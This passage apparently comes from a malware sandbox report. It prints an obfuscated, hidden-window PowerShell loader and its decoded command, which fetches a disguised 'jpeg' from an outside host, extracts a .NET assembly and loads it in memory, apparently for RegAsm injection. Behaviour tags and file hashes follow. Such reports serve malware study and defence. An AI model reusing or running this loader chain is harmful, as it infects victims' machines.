㆑GU⫮ ≵ ₪ ㊎ ㆑Ng⫮ ≵ ₪ ㊎ ㆑0⫮ ≵ ₪ ㊎ ㆑EM⫮ ≵ ₪ ㊎ ㆑bwBt⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑YQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑9⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑YQBn⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑V⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Hg⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑FM⫮ ≵ ₪ ㊎ ㆑dQBi⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑By⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑bgBn⫮ ≵ ₪ ㊎ ㆑Cg⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bz⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑YQBy⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑SQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQB4⫮ ≵ ₪ ㊎ ㆑Cw⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑GI⫮ ≵ ₪ ㊎ ㆑YQBz⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑Ng⫮ ≵ ₪ ㊎ ㆑0⫮ ≵ ₪ ㊎ ㆑Ew⫮ ≵ ₪ ㊎ ㆑ZQBu⫮ ≵ ₪ ㊎ ㆑Gc⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bo⫮ ≵ ₪ ㊎ ㆑Ck⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑YwBv⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑bQBh⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑BC⫮ ≵ ₪ ㊎ ㆑Hk⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑9⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑WwBT⫮ ≵ ₪ ㊎ ㆑Hk⫮ ≵ ₪ ㊎ ㆑cwB0⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑bQ⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑EM⫮ ≵ ₪ ㊎ ㆑bwBu⫮ ≵ ₪ ㊎ ㆑HY⫮ ≵ ₪ ㊎ ㆑ZQBy⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑XQ⫮ ≵ ₪ ㊎ ㆑6⫮ ≵ ₪ ㊎ ㆑Do⫮ ≵ ₪ ㊎ ㆑RgBy⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑bQBC⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑cwBl⫮ ≵ ₪ ㊎ ㆑DY⫮ ≵ ₪ ㊎ ㆑N⫮ ≵ ₪ ㊎ ㆑BT⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑cgBp⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Zw⫮ ≵ ₪ ㊎ ㆑o⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑YgBh⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑ZQ⫮ ≵ ₪ ㊎ ㆑2⫮ ≵ ₪ ㊎ ㆑DQ⫮ ≵ ₪ ㊎ ㆑QwBv⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑bQBh⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑p⫮ ≵ ₪ ㊎ ㆑Ds⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑bwBh⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQBk⫮ ≵ ₪ ㊎ ㆑EE⫮ ≵ ₪ ㊎ ㆑cwBz⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑bQBi⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑eQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑D0⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑Bb⫮ ≵ ₪ ㊎ ㆑FM⫮ ≵ ₪ ㊎ ㆑eQBz⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑ZQBt⫮ ≵ ₪ ㊎ ㆑C4⫮ ≵ ₪ ㊎ ㆑UgBl⫮ ≵ ₪ ㊎ ㆑GY⫮ ≵ ₪ ㊎ ㆑b⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑GM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑bg⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑EE⫮ ≵ ₪ ㊎ ㆑cwBz⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑bQBi⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑eQBd⫮ ≵ ₪ ㊎ ㆑Do⫮ ≵ ₪ ㊎ ㆑OgBM⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑Cg⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bj⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑bQBt⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑bgBk⫮ ≵ ₪ ㊎ ㆑EI⫮ ≵ ₪ ㊎ ㆑eQB0⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑cw⫮ ≵ ₪ ㊎ ㆑p⫮ ≵ ₪ ㊎ ㆑Ds⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑eQBw⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑9⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bs⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑BB⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑cwBl⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑YgBs⫮ ≵ ₪ ㊎ ㆑Hk⫮ ≵ ₪ ㊎ ㆑LgBH⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BU⫮ ≵ ₪ ㊎ ㆑Hk⫮ ≵ ₪ ㊎ ㆑c⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Cg⫮ ≵ ₪ ㊎ ㆑JwBk⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑b⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑GI⫮ ≵ ₪ ㊎ ㆑LgBJ⫮ ≵ ₪ ㊎ ㆑E8⫮ ≵ ₪ ㊎ ㆑LgBI⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑bQBl⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑KQ⫮ ≵ ₪ ㊎ ㆑7⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bt⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bo⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑D0⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑eQBw⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑LgBH⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BN⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bo⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑o⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑VgBB⫮ ≵ ₪ ㊎ ㆑Ek⫮ ≵ ₪ ㊎ ㆑Jw⫮ ≵ ₪ ㊎ ㆑p⫮ ≵ ₪ ㊎ ㆑C4⫮ ≵ ₪ ㊎ ㆑SQBu⫮ ≵ ₪ ㊎ ㆑HY⫮ ≵ ₪ ㊎ ㆑bwBr⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑K⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑dQBs⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑L⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Fs⫮ ≵ ₪ ㊎ ㆑bwBi⫮ ≵ ₪ ㊎ ㆑Go⫮ ≵ ₪ ㊎ ㆑ZQBj⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑WwBd⫮ ≵ ₪ ㊎ ㆑F0⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑o⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑B4⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑LgBI⫮ ≵ ₪ ㊎ ㆑FM⫮ ≵ ₪ ㊎ ㆑T⫮ ≵ ₪ ㊎ ㆑BG⫮ ≵ ₪ ㊎ ㆑C8⫮ ≵ ₪ ㊎ ㆑MQ⫮ ≵ ₪ ㊎ ㆑y⫮ ≵ ₪ ㊎ ㆑DE⫮ ≵ ₪ ㊎ ㆑Lw⫮ ≵ ₪ ㊎ ㆑3⫮ ≵ ₪ ㊎ ㆑DQ⫮ ≵ ₪ ㊎ ㆑MQ⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑Dk⫮ ≵ ₪ ㊎ ㆑M⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑x⫮ ≵ ₪ ㊎ ㆑C4⫮ ≵ ₪ ㊎ ㆑Mw⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑DI⫮ ≵ ₪ ㊎ ㆑OQ⫮ ≵ ₪ ㊎ ㆑x⫮ ≵ ₪ ㊎ ㆑C8⫮ ≵ ₪ ㊎ ㆑Lw⫮ ≵ ₪ ㊎ ㆑6⫮ ≵ ₪ ㊎ ㆑H⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑B0⫮ ≵ ₪ ㊎ ㆑Gg⫮ ≵ ₪ ㊎ ㆑Jw⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Cw⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑n⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQBz⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑HY⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑Jw⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Cw⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑n⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQBz⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑HY⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑Jw⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Cw⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑n⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQBz⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑HY⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑Jw⫮ ≵ ₪ ㊎ ㆑s⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑UgBl⫮ ≵ ₪ ㊎ ㆑Gc⫮ ≵ ₪ ㊎ ㆑QQBz⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑Jw⫮ ≵ ₪ ㊎ ㆑s⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑YQB0⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑dgBh⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑bw⫮ ≵ ₪ ㊎ ㆑n⫮ ≵ ₪ ㊎ ㆑Ck⫮ ≵ ₪ ㊎ ㆑KQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑H0⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑B9⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑==';$OWjuxD = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $Codigo.replace('⫮ ≵ ₪ ㊎ ㆑','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2980 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$link = 'http://servidorwindows.ddns.com.br/Files/vbs.jpeg'; $webClient = New-Object System.Net.WebClient; try { $downloadedData = $webClient.DownloadData($link) } catch { Write-Host 'Failed To download data from $link' -ForegroundColor Red; exit }; if ($downloadedData -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($downloadedData); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('dnlib.IO.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.HSLF/121/741.901.3.291//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm','desativado')) } }"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2988
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD50454056ef59586801cb52657eef5c70b
SHA18e11071d3433d611f49730c666b401b306a2afc6
SHA256c2b6b77437580a61a7072168895e13b286afcd5b4d92534fca635e8aa260ee6b
SHA51257598bf43607752df7f1c55c2268c7943f623d819599e031f13f0d8350561fbee6b147b8ec861ae95cd538c1eae44d62470d50268a39c5a132d79b985fca9e59